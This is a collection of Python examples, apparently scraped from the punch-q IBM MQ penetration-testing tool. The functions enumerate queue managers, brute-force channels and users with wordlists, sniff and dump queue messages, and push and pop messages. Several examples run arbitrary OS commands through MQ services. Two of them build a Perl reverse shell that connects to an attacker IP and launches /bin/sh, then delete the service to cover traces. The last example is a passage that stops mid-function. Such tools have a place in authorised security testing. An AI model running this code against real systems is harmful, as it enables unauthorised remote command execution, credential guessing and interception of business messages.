Exemple #1
0
def name():
    """
        Discover a queue managers name.
    """

    try:

        if not mqstate.channel:
            click.secho(
                'No channel provided, defaulting to SYSTEM.DEF.SVRCONN',
                dim=True)
            mqstate.channel = 'SYSTEM.DEF.SVRCONN'

        qmgr = pymqi.connect(queue_manager='',
                             channel=mqstate.channel,
                             conn_info=mqstate.get_host())
        qmgr_name = qmgr.inquire(pymqi.CMQC.MQCA_Q_MGR_NAME)

        click.secho(f'Queue Manager name: {mq_string(qmgr_name)}', fg='green')
        qmgr.disconnect()

    except pymqi.MQMIError as ce:

        # Some other error condition.
        raise ce
Exemple #2
0
def ping():
    """
        Ping a queue manager.
    """

    mqstate.validate(['host', 'port'])

    qmgr = pymqi.connect(mqstate.qm_name, mqstate.channel, mqstate.get_host(),
                         mqstate.username, mqstate.password)

    pcf = pymqi.PCFExecute(qmgr)
    pcf.MQCMD_PING_Q_MGR()
    click.secho('Queue manager command server is responsive.', fg='green')

    # Attempt to determine the MQ command level.
    mq_params = pcf.MQCMD_INQUIRE_Q_MGR(
        {pymqi.CMQCFC.MQCMD_INQUIRE_SYSTEM: '*'})

    # Get the queue manager status
    mq_status = pcf.MQCMD_INQUIRE_Q_MGR_STATUS()[0]

    # A number of these are not in CMQC, so this comment is a reference:
    # MQCA_INSTALLATION_DESC: 2115
    # MQCA_INSTALLATION_NAME: 2116
    # MQCA_INSTALLATION_PATH: 2117
    # MQCACF_LOG_PATH: 3074
    # MQCACF_Q_MGR_START_DATE: 3175
    # MQCACF_Q_MGR_START_TIME: 3176

    click.secho('Queue Manager Status:', bold=True)
    click.secho('---------------------', bold=True)
    click.secho('Command Level:             {0}'.format(
        mq_params[0][pymqi.CMQC.MQIA_COMMAND_LEVEL]),
                bold=True)
    click.secho('Queue Manager Name:        {0}'.format(
        mq_status.get(pymqi.CMQC.MQCA_Q_MGR_NAME, '(unknown)')),
                bold=True)
    click.secho('Installation Name:         {0}'.format(
        mq_status.get(2116, '(unknown)')),
                bold=True)
    click.secho('Installation Path:         {0}'.format(
        mq_status.get(2117, '(unknown)')),
                bold=True)
    click.secho('Installation Description:  {0}'.format(
        mq_status.get(2115, '(unknown)')),
                bold=True)
    click.secho('Log Path:                  {0}'.format(
        mq_status.get(3074, '(unknown)')),
                bold=True)
    click.secho('Queue Manager Start Time:  {0}'.format(' '.join(
        [mq_status.get(3175, '').strip(),
         mq_status.get(3176, '').strip()])),
                bold=True)
    click.secho('\n')

    click.secho('Successfully queried queue manager status.', fg='green')

    qmgr.disconnect()
Exemple #3
0
def channels(prefix):
    """
        Show channels.
    """

    mqstate.validate(['host', 'port', 'channel'])

    args = {pymqi.CMQCFC.MQCACH_CHANNEL_NAME: str(prefix)}
    qmgr = pymqi.connect(mqstate.qm_name, mqstate.channel, mqstate.get_host(),
                         mqstate.username, mqstate.password)
    pcf = pymqi.PCFExecute(qmgr)

    try:

        click.secho(
            'Showing channels with prefix: \'{0}\'...\n'.format(prefix),
            dim=True)
        response = pcf.MQCMD_INQUIRE_CHANNEL(args)

    except pymqi.MQMIError as sce:

        if sce.comp == pymqi.CMQC.MQCC_FAILED and sce.reason == pymqi.CMQC.MQRC_UNKNOWN_OBJECT_NAME:
            click.secho('No channels matched prefix [%s]'.format(prefix),
                        fg='red')

        else:
            raise sce

    else:

        t = get_table_handle([
            'Name',
            'Type',
            'MCA UID',
            'Conn Name',
            'Xmit Queue',
            'Description',
            'SSL Cipher',
        ])

        for channel_info in response:
            t.append_row([
                channel_info.get(pymqi.CMQCFC.MQCACH_CHANNEL_NAME, '').strip(),
                channel_type_to_name(
                    channel_info.get(pymqi.CMQCFC.MQIACH_CHANNEL_TYPE)),
                channel_info.get(pymqi.CMQCFC.MQCACH_MCA_USER_ID, ''),
                channel_info.get(pymqi.CMQCFC.MQCACH_CONNECTION_NAME,
                                 '').strip(),
                channel_info.get(pymqi.CMQCFC.MQCACH_XMIT_Q_NAME, '').strip(),
                channel_info.get(pymqi.CMQCFC.MQCACH_DESC, '').strip(),
                # channel_info.get(pymqi.CMQCFC.MQCACH_PASSWORD, '(unknown)').strip(),
                channel_info.get(pymqi.CMQCFC.MQCACH_SSL_CIPHER_SPEC,
                                 '').strip(),
                # channel_info.get(pymqi.CMQCFC.MQCACH_SSL_PEER_NAME, '').strip(),
            ])
        click.secho(t.get_string())

    qmgr.disconnect()
Exemple #4
0
def execute(cmd, args, service_name, wait):
    """
        Execute an arbitrary command.

        \b
        Examples:
            python punch-q.py command execute -c /bin/ping -a "-c 1 192.168.0.1"
            python punch-q.py -C pq.yml command execute --cmd "/bin/ping" --args "-c 5 192.168.0.8" --wait 8
    """

    # Generate a service name if none was provided
    if not service_name:
        service_name = uuid.uuid4()

    # Cleanup the service name to remove spaces and dashes and limit to 16 chars
    service_name = str(service_name).replace('-', '').replace(' ', '')[0:16]

    # information
    click.secho('Cmd: {0}'.format(cmd), bold=True)
    click.secho('Arg: {0}'.format(args), bold=True)
    click.secho('Service Name: {0}\n'.format(service_name))

    qmgr = pymqi.connect(mqstate.qm_name, mqstate.channel, mqstate.get_host(),
                         mqstate.username, mqstate.password)

    # create the service
    click.secho('Creating service...', dim=True)
    args = {
        pymqi.CMQC.MQCA_SERVICE_NAME: service_name,
        pymqi.CMQC.MQIA_SERVICE_CONTROL: pymqi.CMQC.MQSVC_CONTROL_MANUAL,
        pymqi.CMQC.MQIA_SERVICE_TYPE: pymqi.CMQC.MQSVC_TYPE_COMMAND,
        pymqi.CMQC.MQCA_SERVICE_START_COMMAND: str(cmd),
        pymqi.CMQC.MQCA_SERVICE_START_ARGS: str(args)
    }
    pcf = pymqi.PCFExecute(qmgr)
    pcf.MQCMD_CREATE_SERVICE(args)

    # start the service
    click.secho('Starting service...', fg='green')
    args = {pymqi.CMQC.MQCA_SERVICE_NAME: service_name}

    pcf = pymqi.PCFExecute(qmgr)
    pcf.MQCMD_START_SERVICE(args)

    click.secho('Giving the service {0} second(s) to live...'.format(wait),
                dim=True)
    time.sleep(wait)

    # delete service
    click.secho('Cleaning up service...', dim=True)
    args = {pymqi.CMQC.MQCA_SERVICE_NAME: service_name}

    pcf = pymqi.PCFExecute(qmgr)
    pcf.MQCMD_DELETE_SERVICE(args)

    qmgr.disconnect()

    click.secho('Done', fg='green')
Exemple #5
0
def pop(queue, save_to, skip_confirmation):
    """
        Pop a message off the queue.
    """

    if not skip_confirmation:
        click.secho(
            'WARNING: This action will REMOVE the message from the selected queue!\n'
            +
            'Consider the --save-to flag to save the message you are about to pop.',
            fg='yellow')
        if not click.confirm('Are you sure?'):
            click.secho('Did not receive confirmation, bailing...')
            return

    qmgr = pymqi.connect(mqstate.qm_name, mqstate.channel, mqstate.get_host(),
                         mqstate.username, mqstate.password)

    try:

        queue = pymqi.Queue(qmgr, str(queue))
        request_md = pymqi.MD()
        message = queue.get(None, request_md)

    except pymqi.MQMIError as dme:

        if dme.comp == pymqi.CMQC.MQCC_FAILED and dme.reason == pymqi.CMQC.MQRC_NO_MSG_AVAILABLE:
            click.secho('No messages to pop from the queue.', fg='yellow')
            return

        else:
            raise dme

    t = get_table_handle(
        ['Date', 'Time', 'User', 'Format', 'App Name', 'Data'], markdown=False)
    t.append_row([
        mq_string(request_md.PutDate),
        mq_string(request_md.PutTime),
        mq_string(request_md.UserIdentifier),
        mq_string(request_md.Format),
        mq_string(request_md.PutApplName),
        mq_string(message),
    ])

    click.secho('')
    click.secho(t.get_string())

    # save to file if we got a file argument
    if save_to:
        save_to.write(message)
        click.secho(f'\nSaved message data to file: {save_to.name}',
                    fg='green')

    queue.close()
    qmgr.disconnect()
Exemple #6
0
def push(queue, source_file, source_string):
    """
        Push a message onto the queue.
    """

    if source_file is None and source_string is None:
        click.secho('Please provide either a source file or a source string.',
                    fg='red')
        return

    if source_file and source_string:
        click.secho(
            'Both a source file and string was specified. Only one is allowed.',
            fg='red')
        return

    if source_file:
        message = source_file.read()
    else:
        message = source_string.encode()

    click.secho(f'Pushing message onto queue: {queue}', dim=True)
    click.secho(f'Message (truncated): {message[:150]}', dim=True)

    qmgr = pymqi.connect(mqstate.qm_name, mqstate.channel, mqstate.get_host(),
                         mqstate.username, mqstate.password)

    try:

        put_mqmd = pymqi.MD()
        put_mqmd.Format = pymqi.CMQC.MQFMT_STRING

        # https://github.com/dsuch/pymqi/blob/master/code/examples/put_get_correl_id.py#L69-L71
        put_opts = pymqi.PMO(Options=pymqi.CMQC.MQPMO_NO_SYNCPOINT +
                             pymqi.CMQC.MQPMO_FAIL_IF_QUIESCING)

        mqqueue = pymqi.Queue(qmgr, str(queue))
        mqqueue.put(message, put_mqmd, put_opts)

    except pymqi.MQMIError as dme:

        # if we are not allowed to GET on this queue, mention that and quit
        if dme.comp == pymqi.CMQ.MQCC_FAILED and dme.reason == pymqi.CMQC.MQRC_PUT_INHIBITED:
            click.secho('PUT not allowed on queue with current credentials.',
                        fg='red')
            return

        else:
            raise dme

    mqqueue.close()
    qmgr.disconnect()

    click.secho('Message successfully pushed onto the queue.', fg='green')
Exemple #7
0
def ping():
    """
        Ping a queue manager.
    """

    mqstate.validate(['host', 'port', 'qm_name', 'channel'])

    qmgr = pymqi.connect(mqstate.qm_name, mqstate.channel, mqstate.get_host(),
                         mqstate.username, mqstate.password)

    pcf = pymqi.PCFExecute(qmgr)
    pcf.MQCMD_PING_Q_MGR()
    click.secho('Queue manager command server is responsive.', fg='green')

    # Attempt to determine the MQ command level.
    mq_params = pcf.MQCMD_INQUIRE_Q_MGR({pymqi.CMQCFC.MQCMD_INQUIRE_SYSTEM: '*'.encode()})

    # Get the queue manager status
    mq_status = pcf.MQCMD_INQUIRE_Q_MGR_STATUS()[0]

    # A number of these are not in CMQC.py, so
    # this comment is a reference from the C headers
    # resolving some of the constants.
    #
    # MQCA_INSTALLATION_DESC: 2115
    # MQCA_INSTALLATION_NAME: 2116
    # MQCA_INSTALLATION_PATH: 2117
    # MQCACF_LOG_PATH: 3074
    # MQCACF_Q_MGR_START_DATE: 3175
    # MQCACF_Q_MGR_START_TIME: 3176

    click.secho('Queue Manager Status:', bold=True)
    click.secho('---------------------', bold=True)
    click.secho(f'Command Level:             {mq_params[0][pymqi.CMQC.MQIA_COMMAND_LEVEL]}', bold=True)
    click.secho('Queue Manager Name:        ' +
                f'{mq_string(mq_status.get(pymqi.CMQC.MQCA_Q_MGR_NAME, "(unknown)"))}', bold=True)
    click.secho(f'Installation Name:         {mq_string(mq_status.get(2116, "(unknown)"))}', bold=True)
    click.secho(f'Installation Path:         {mq_string(mq_status.get(2117, "(unknown)"))}', bold=True)
    click.secho(f'Installation Description:  {mq_string(mq_status.get(2115, "(unknown)"))}', bold=True)
    click.secho(f'Log Path:                  {mq_string(mq_status.get(3074, "(unknown)"))}', bold=True)
    click.secho('Queue Manager Start Time:  ' +
                f'{mq_string(mq_status.get(3175, ""))} {mq_string(mq_status.get(3176, ""))}', bold=True)
    click.secho('\n')

    click.secho('Successfully queried queue manager status.', fg='green')

    qmgr.disconnect()
Exemple #8
0
def users(channel):
    """
        Discover users.

        This command attempts to brute force MQ users for a specific channel.
        The channel name itself is taken from this sub command, and not the
        global --channel flag used for configuration.
    """

    click.secho('Brute forcing users on channel: {0}'.format(channel))

    wordlist = os.path.join(os.path.abspath(os.path.dirname(__file__)),
                            'wordlists/', 'mq_users.txt')

    with open(wordlist, 'r') as f:
        wordlist = f.readlines()

    # Iterate the word list we have
    for user in wordlist:

        username, password = user.strip().split(':')

        print(username + ':' + password)

        try:
            qmgr = pymqi.connect(mqstate.qm_name, channel, mqstate.get_host(),
                                 username, password)
            pcf = pymqi.PCFExecute(qmgr)
            pcf.MQCMD_PING_Q_MGR()

            click.secho('Combination "{0}:{1}" authenticated.'.format(
                username, password),
                        fg='green',
                        bold=True)

            qmgr.disconnect()

        except pymqi.MQMIError as ce:

            # unknown channel
            if ce.reason == pymqi.CMQC.MQRC_NOT_AUTHORIZED:
                continue

            # Some other error condition.
            raise ce
Exemple #9
0
def sniff(queue, store, directory):
    """
        Sniff messages on a queue, non-destructively.

        Sniffs queues messages on a queue by opening the
        queue in a read only mode. Incoming messages will
        be dumped to the screen by default. If the --store
        flag is specified, messages will also be written
        to disk as they arrive.
    """

    mqstate.validate(['host', 'port'])

    # check if a directory was set but store was not
    if directory and not store:
        click.secho('A directory was set to store messages but --store flag was not provided, ignoring...',
                    bold=True, fg='yellow')

    # Prepare the destination directory if messages should also be saved
    if store:
        # Automatically generate a directory to save messages to
        if not directory:
            directory = safe_filename(mqstate.host + '_' + safe_filename(queue))
            click.secho(f'Messages will be saved to directory \'{directory}\'', dim=True, fg='green')

        # check that the directory is ready for use
        absolute_path = os.path.abspath(directory)
        if not os.path.exists(absolute_path):
            click.secho(f'Creating {absolute_path} to save messages in...', dim=True)
            os.makedirs(absolute_path, mode=0o755)

    qmgr = pymqi.connect(mqstate.qm_name, mqstate.channel, mqstate.get_host(),
                         mqstate.username, mqstate.password)

    # https://www.ibm.com/support/knowledgecenter/en/SSFKSJ_7.5.0/com.ibm.mq.ref.dev.doc/q096780_.htm
    # https://github.com/dsuch/pymqi/blob/master/code/examples/put_get_correl_id.py
    # https://github.com/dsuch/pymqi/blob/master/code/examples/get_wait_multiple_messages.py
    gmo = pymqi.GMO()
    gmo.Options = pymqi.CMQC.MQGMO_BROWSE_NEXT | pymqi.CMQC.MQGMO_WAIT | pymqi.CMQC.MQGMO_FAIL_IF_QUIESCING
    gmo.WaitInterval = 2 * 1000  # 5 seconds

    queue = pymqi.Queue(qmgr, str(queue), pymqi.CMQC.MQOO_BROWSE)
    request_md = pymqi.MD()

    # simple counter for statistics
    message_count = 0
    click.secho('Waiting for messages to arrive...', dim=True)

    while True:
        try:
            # grab the message
            message = queue.get(None, request_md, gmo)
            message_count += 1

            # Save the message if we need to we do this early as
            # messages could be reformatted to be printed to screen.
            if store:
                file_name = filename_from_attributes(
                    mq_string(request_md.PutDate),
                    mq_string(request_md.PutTime),
                    '.' + hashlib.sha1(request_md.MsgId).hexdigest() + '.',
                    request_md.MsgType,
                    request_md.Expiry,
                    mq_string(request_md.UserIdentifier),
                    mq_string(request_md.Format),
                    mq_string(request_md.PutApplName))

                # try get a safe filename from all of that
                file_name = slugify(file_name)

                with open(os.path.join(absolute_path, file_name), 'wb') as f:
                    f.write(message)

                click.secho(f'{message_count}: Wrote message to {file_name}', bold=True, fg='green')

            # check if we have a MQSTR message. If we don't, try and filter
            # non-printables.
            if request_md.Format.strip() not in ['MQSTR', '']:
                # remove non-printables and update the Format
                # column with (stripped) so that it is visible
                message = message.decode('ascii', errors='ignore')
                request_md.Format = mq_string(request_md.Format) + ' (stripped)'

            click.secho(f'Message #{message_count}', fg='green')

            table = get_table_handle([
                'Date', 'Time', 'MsgID', 'MsgType', 'Expiry', 'User', 'Format', 'App Name'], markdown=False)

            table.append_row([
                mq_string(request_md.PutDate),
                mq_string(request_md.PutTime),
                request_md.MsgId.decode('ascii', errors='ignore'),
                request_md.MsgType,
                request_md.Expiry,
                mq_string(request_md.UserIdentifier),
                mq_string(request_md.Format),
                mq_string(request_md.PutApplName),
            ])

            # Print a 'header' for the message
            click.secho(table.get_string())

            # Print the message itself
            click.secho('' + '*' * 40 + ' BEGIN MESSAGE DATA ' + '*' * 40, dim=True)
            click.secho(message, bold=True)
            click.secho('*' * 41 + ' END MESSAGE DATA ' + '*' * 41 + '\n', dim=True)

            # reset the request descriptor so we can reuse it for the next message.
            request_md.MsgId = pymqi.CMQC.MQMI_NONE
            request_md.CorrelId = pymqi.CMQC.MQCI_NONE
            request_md.GroupId = pymqi.CMQC.MQGI_NONE
            request_md.Format = pymqi.CMQC.MQGI_NONE

        except pymqi.MQMIError as dme:

            # No messages, that's OK, we can ignore it.
            if dme.comp == pymqi.CMQC.MQCC_FAILED and dme.reason == pymqi.CMQC.MQRC_NO_MSG_AVAILABLE:
                continue

            # if we are not allowed to GET on this queue, mention that and quit
            if dme.comp == pymqi.CMQ.MQCC_FAILED and dme.reason == pymqi.CMQC.MQRC_GET_INHIBITED:
                click.secho('GET not allowed on queue with current credentials.', fg='red')

                break

            else:
                # Some other error condition.
                raise dme

        except KeyboardInterrupt as _:
            click.secho('Stopping...', fg='yellow')
            break

    click.secho(f'\nSniffed {message_count} message(s) in total.', dim=True)

    queue.close()
    qmgr.disconnect()
Exemple #10
0
def dump(queue, limit):
    """
        Dump messages from a queue, non-destructively.
    """

    click.secho(f'Dumping a maximum of {limit} messages from {queue}...', dim=True)
    click.secho('Only printing ASCII characters.', dim=True)

    qmgr = pymqi.connect(mqstate.qm_name, mqstate.channel, mqstate.get_host(),
                         mqstate.username, mqstate.password)

    # https://www.ibm.com/support/knowledgecenter/en/SSFKSJ_7.5.0/com.ibm.mq.ref.dev.doc/q096780_.htm
    # https://github.com/dsuch/pymqi/blob/master/code/examples/put_get_correl_id.py
    gmo = pymqi.GMO()
    gmo.Options = pymqi.CMQC.MQGMO_BROWSE_NEXT
    queue = pymqi.Queue(qmgr, str(queue), pymqi.CMQC.MQOO_BROWSE)

    message_count = 0

    while message_count < limit:
        try:
            request_md = pymqi.MD()
            message = queue.get(None, request_md, gmo)

            # check if we have a MQSTR message.
            if request_md.Format.strip() not in ['MQSTR', '']:
                # remove non-printables and update the Format
                # column with (stripped) so that it is visible
                message = message.decode('ascii', errors='ignore')
                request_md.Format = mq_string(request_md.Format) + ' (stripped)'

            table = get_table_handle(['Date', 'Time', 'MsgID', 'MsgType', 'Expiry',
                                      'User', 'Format', 'App Name'], markdown=False)
            table.append_row([
                mq_string(request_md.PutDate),
                mq_string(request_md.PutTime),
                request_md.MsgId.decode('ascii', errors='ignore'),
                request_md.MsgType,
                request_md.Expiry,
                mq_string(request_md.UserIdentifier),
                mq_string(request_md.Format),
                mq_string(request_md.PutApplName),
            ])

            # Print a 'header' for the message
            click.secho(table.get_string())

            # Print the message itself
            click.secho('\n' + '*' * 40 + ' BEGIN MESSAGE DATA ' + '*' * 40, dim=True)
            click.secho(message, bold=True)
            click.secho('*' * 41 + ' END MESSAGE DATA ' + '*' * 41 + '\n', dim=True)

        except pymqi.MQMIError as dme:
            if dme.comp == pymqi.CMQC.MQCC_FAILED and dme.reason == pymqi.CMQC.MQRC_NO_MSG_AVAILABLE:
                click.secho('Dump complete. No more messages on the queue.', fg='yellow')

                break

            # if we are not allowed to GET on this queue, mention that and quit
            if dme.comp == pymqi.CMQ.MQCC_FAILED and dme.reason == pymqi.CMQC.MQRC_GET_INHIBITED:
                click.secho('GET not allowed on queue with current access.', fg='red')

                break

            else:
                raise dme

        message_count += 1

    click.secho('')
    click.secho(f'\nGot {message_count} message(s) in total.', dim=True)

    queue.close()
    qmgr.disconnect()
Exemple #11
0
def queues(prefix, min_depth):
    """
        Show queues.
    """

    mqstate.validate(['host', 'port', 'channel'])

    args = {
        pymqi.CMQC.MQCA_Q_NAME: prefix.encode(),
        pymqi.CMQC.MQIA_Q_TYPE: pymqi.CMQC.MQQT_ALL
    }

    qmgr = pymqi.connect(mqstate.qm_name, mqstate.channel, mqstate.get_host(),
                         mqstate.username, mqstate.password)
    pcf = pymqi.PCFExecute(qmgr)

    try:

        click.secho(f'Showing queues with prefix: "{prefix}"...', dim=True)
        if min_depth > 0:
            click.secho(f'Limiting queues to those with at least {min_depth} message(s)...', dim=True)

        response = pcf.MQCMD_INQUIRE_Q(args)

    except pymqi.MQMIError as sqe:

        # no queues found
        if sqe.comp == pymqi.CMQC.MQCC_FAILED and sqe.reason == pymqi.CMQC.MQRC_UNKNOWN_OBJECT_NAME:
            click.secho(f'No queues matched given prefix of {prefix}', fg='red')

        else:
            raise sqe
    else:

        t = get_table_handle([
            'Created', 'Name', 'Type', 'Usage', 'Depth', 'Rmt. QMGR Name', 'Rmt. Queue Name', 'Description',
        ], markdown=True)
        t.set_style(t.STYLE_MARKDOWN)

        for queue_info in response:

            # skip queues that don't have at least the min amount of messages
            if queue_info.get(pymqi.CMQC.MQIA_CURRENT_Q_DEPTH, 0) < min_depth:
                continue

            # try and resolve the transmission queue for remote queue types
            q_type = queue_type_to_name(queue_info.get(pymqi.CMQC.MQIA_Q_TYPE))
            if q_type == 'Remote':
                xmit_q = mq_string(queue_info.get(pymqi.CMQC.MQCA_XMIT_Q_NAME, ''))
                if len(xmit_q) > 0:
                    q_type = q_type + f' (Transmission Q: {xmit_q})'

            t.append_row([
                ' '.join([
                    mq_string(queue_info.get(pymqi.CMQC.MQCA_CREATION_DATE, '')),
                    mq_string(queue_info.get(pymqi.CMQC.MQCA_CREATION_TIME, ''))
                ]),
                mq_string(queue_info.get(pymqi.CMQC.MQCA_Q_NAME, '')),
                q_type,
                queue_usage_to_name(queue_info.get(pymqi.CMQC.MQIA_USAGE)),
                queue_info.get(pymqi.CMQC.MQIA_CURRENT_Q_DEPTH, ''),
                mq_string(queue_info.get(pymqi.CMQC.MQCA_REMOTE_Q_MGR_NAME, '')),
                mq_string(queue_info.get(pymqi.CMQC.MQCA_REMOTE_Q_NAME, '')),
                mq_string(queue_info.get(pymqi.CMQC.MQCA_Q_DESC, '')),
            ])
        click.secho(t.get_string())

    qmgr.disconnect()
Exemple #12
0
def channels(wordlist):
    """
        Discover channels.

        This command attempts to enumerate MQ channels using the provided
        configuration options. A list of default channel names is used
        if no word list is provided. Extra permutations will be generated
        if the target host is not an IP address.

        A number of cases exist where a channel does in fact exist
        server-side, but is not picked up by this command. This could
        be primarily because of the channel type not being a Server-connection.
    """

    # Ensure we have at least a host and a port
    mqstate.validate(['host', 'port'])

    if not wordlist:
        wordlist = os.path.join(os.path.abspath(os.path.dirname(__file__)), 'wordlists/', 'mq_channels.txt')

    with open(wordlist, 'r') as f:
        # Don't read empty lines and strip spaces
        wordlist = [x.strip() for x in f.readlines() if len(x.strip()) > 0]

    # Check if the host is an IP address. If it is not, generate
    # permutations based on the hostname to try as channel names.
    if not is_ip_address(mqstate.host):
        click.secho('Destination host does not appear to be an IP address. Generating more permutations...', dim=True)

        # use the first entry as a base channel name
        base_name = mqstate.host.split('.')[0].upper()

        wordlist.append(base_name)
        wordlist.append(base_name + '.CHANNEL')
        wordlist.append(base_name + '.CHL')
        wordlist.append(base_name + '.SVRCONN')
        wordlist.append(base_name + '.ADMIN.SVRCONN')
        wordlist.append(base_name + '.AUTO.SVRCONN')
        wordlist.append(base_name + '.DEF.SVRCONN')
        wordlist.append(base_name + '.ADMIN.CHANNEL')
        wordlist.append(base_name + '.DEV.CHANNEL')

        # 'uniqify' the final list
        wordlist = list(set(wordlist))

    # Loop the wordlist, trying to connect to the target channel.
    # The username & password is taken from the configuration.
    #
    # The existence of a channel is determined based on the response
    # from the target queue manager. Luckily, MQ responds with a clear
    # message if the remote channel does not exist.
    for channel in wordlist:
        channel = channel.strip()

        try:
            qmgr = pymqi.connect(mqstate.qm_name, str(channel), mqstate.get_host(),
                                 mqstate.username, mqstate.password)

            pcf = pymqi.PCFExecute(qmgr)
            pcf.MQCMD_PING_Q_MGR()

            # If no exception is thrown, the channel exists *AND* we have access
            # with the supplied credentials (or lack thereof).
            click.secho(f'"{channel}" exists and was authorised.', fg='green', bold=True)
            qmgr.disconnect()

        except pymqi.MQMIError as ce:

            # Unknown channel. This is ok, just move along.
            if ce.reason == pymqi.CMQC.MQRC_UNKNOWN_CHANNEL_NAME:
                continue

            # The channel could be a sender /receiver type.
            elif ce.reason == pymqi.CMQC.MQRC_CHANNEL_CONFIG_ERROR:
                continue

            # Previous disconnect was not successful. Not sure why this happens tbh.
            elif ce.reason == pymqi.CMQC.MQRC_ALREADY_CONNECTED:
                qmgr.disconnect()
                continue

            # Channel is unavailable
            elif ce.reason == pymqi.CMQC.MQRC_CHANNEL_NOT_AVAILABLE:
                click.secho(f'"{channel}" might exist, but is not available.', bold=True, fg='yellow')
                continue

            # An unauthenticated message means the channel at least exists.
            elif ce.reason == pymqi.CMQC.MQRC_NOT_AUTHORIZED:
                click.secho(f'"{channel}" might exist, but user was not authorised.', bold=True)
                continue

            # Maybe this is an SSL error
            elif ce.reason == pymqi.CMQC.MQRC_SSL_INITIALIZATION_ERROR:
                click.secho(f'"{channel}" might exist, but wants SSL.', bold=True, fg='yellow')
                continue

            # Some other error condition occurred.
            raise ce
Exemple #13
0
def reverse(ip, port, service_name, wait):
    """
        Start a Perl-based reverse shell.

        \b
        Examples:
            python punch-q.py -C pq.yml command reverse --ip 192.168.5.1 --port 4444
    """

    # Generate a service name if none was provided
    if not service_name:
        service_name = uuid.uuid4()

    # Cleanup the service name to remove spaces and dashes and limit to 16 chars
    service_name = str(service_name).replace('-', '').replace(' ', '')[0:16].encode()

    # raw perl, passed as part of a -e argument
    payload = "use Socket;$i='" + str(ip) + "';$p=" + str(port) + \
              ";socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));" \
              "if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,'>&S');" \
              "open(STDOUT,'>&S');open(STDERR,'>&S');exec('/bin/sh -i');};"

    # information
    click.secho(f'Remote IP: {ip}', dim=True)
    click.secho(f'Remote Port: {port}', dim=True)
    click.secho(f'Raw Reverse Shell: {payload}', dim=True, fg='blue')
    click.secho(f'Service Name: {service_name.decode()}\n', dim=True)

    qmgr = pymqi.connect(mqstate.qm_name, mqstate.channel, mqstate.get_host(),
                         mqstate.username, mqstate.password)

    # create the service
    click.secho('Creating service...', dim=True)
    args = {
        pymqi.CMQC.MQCA_SERVICE_NAME: service_name,
        pymqi.CMQC.MQIA_SERVICE_CONTROL: pymqi.CMQC.MQSVC_CONTROL_MANUAL,
        pymqi.CMQC.MQIA_SERVICE_TYPE: pymqi.CMQC.MQSVC_TYPE_COMMAND,
        pymqi.CMQC.MQCA_SERVICE_START_COMMAND: '/usr/bin/perl'.encode(),
        pymqi.CMQC.MQCA_SERVICE_START_ARGS: f'-e "{payload}"'.encode(),
    }
    pcf = pymqi.PCFExecute(qmgr)
    pcf.MQCMD_CREATE_SERVICE(args)

    # start the service
    click.secho('Starting service...', fg='green')
    args = {pymqi.CMQC.MQCA_SERVICE_NAME: service_name}

    try:

        pcf = pymqi.PCFExecute(qmgr)
        pcf.MQCMD_START_SERVICE(args)

    except pymqi.MQMIError as dme:
        if dme.reason == pymqi.CMQCFC.MQRCCF_PROGRAM_NOT_AVAILABLE:
            click.secho('The program \'/usr/bin/perl\' is not available on the remote system.', fg='red')
            return

        else:
            raise dme

    click.secho(f'Giving the service {wait} second(s) to live...', dim=True)
    time.sleep(wait)

    # delete service
    click.secho('Cleaning up service...', dim=True)
    args = {pymqi.CMQC.MQCA_SERVICE_NAME: service_name}

    pcf = pymqi.PCFExecute(qmgr)
    pcf.MQCMD_DELETE_SERVICE(args)

    qmgr.disconnect()

    click.secho('Done', fg='green')
Exemple #14
0
def queues(prefix, min_depth):
    """
        Show queues.
    """

    mqstate.validate(['host', 'port', 'channel'])

    args = {
        pymqi.CMQC.MQCA_Q_NAME: str(prefix),
        pymqi.CMQC.MQIA_Q_TYPE: pymqi.CMQC.MQQT_ALL
    }

    qmgr = pymqi.connect(mqstate.qm_name, mqstate.channel, mqstate.get_host(),
                         mqstate.username, mqstate.password)
    pcf = pymqi.PCFExecute(qmgr)

    try:

        click.secho('Showing queues with prefix: \'{0}\'...\n'.format(prefix),
                    dim=True)
        response = pcf.MQCMD_INQUIRE_Q(args)

    except pymqi.MQMIError as sqe:

        # no queues found
        if sqe.comp == pymqi.CMQC.MQCC_FAILED and sqe.reason == pymqi.CMQC.MQRC_UNKNOWN_OBJECT_NAME:
            click.secho('No queues matched given prefix of {0}'.format(prefix),
                        fg='red')

        else:
            raise sqe
    else:

        t = get_table_handle([
            'Created',
            'Name',
            'Type',
            'Usage',
            'Depth',
            'Rmt. QMGR Name',
            'Rmt. Queue Name',
            'Description',
        ],
                             markdown=True)
        t.set_style(t.STYLE_MARKDOWN)

        for queue_info in response:

            # skip queues that don't have at least the min amount of messages
            if queue_info.get(pymqi.CMQC.MQIA_CURRENT_Q_DEPTH, 0) < min_depth:
                continue

            t.append_row([
                ' '.join([
                    queue_info.get(pymqi.CMQC.MQCA_CREATION_DATE, '').strip(),
                    queue_info.get(pymqi.CMQC.MQCA_CREATION_TIME, '').strip()
                ]),
                queue_info.get(pymqi.CMQC.MQCA_Q_NAME, '').strip(),
                queue_type_to_name(queue_info.get(pymqi.CMQC.MQIA_Q_TYPE)),
                queue_usage_to_name(queue_info.get(pymqi.CMQC.MQIA_USAGE)),
                queue_info.get(pymqi.CMQC.MQIA_CURRENT_Q_DEPTH, ''),
                queue_info.get(pymqi.CMQC.MQCA_REMOTE_Q_MGR_NAME, '').strip(),
                queue_info.get(pymqi.CMQC.MQCA_REMOTE_Q_NAME, '').strip(),
                queue_info.get(pymqi.CMQC.MQCA_Q_DESC, '').strip(),
            ])
        click.secho(t.get_string())

    qmgr.disconnect()
Exemple #15
0
def reverse(ip, port, service_name, wait):
    """
        Start a Perl-based reverse shell.

        \b
        Examples:
            python punch-q.py -C pq.yml command reverse --ip 192.168.5.1 --port 4444
    """

    # Generate a service name if none was provided
    if not service_name:
        service_name = uuid.uuid4()

    # Cleanup the service name to remove spaces and dashes and limit to 16 chars
    service_name = str(service_name).replace('-', '').replace(' ', '')[0:16]

    # raw perl, passed as part of a -e argument
    payload = "use Socket;$i='" + str(ip) + "';$p=" + str(port) + \
              ";socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));" \
              "if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,'>&S');" \
              "open(STDOUT,'>&S');open(STDERR,'>&S');exec('/bin/sh -i');};"

    # information
    click.secho('Ip: {0}'.format(ip), bold=True)
    click.secho('Port: {0}'.format(port), bold=True)
    click.secho('Raw Perl: {0}'.format(payload), bold=True, fg='blue')
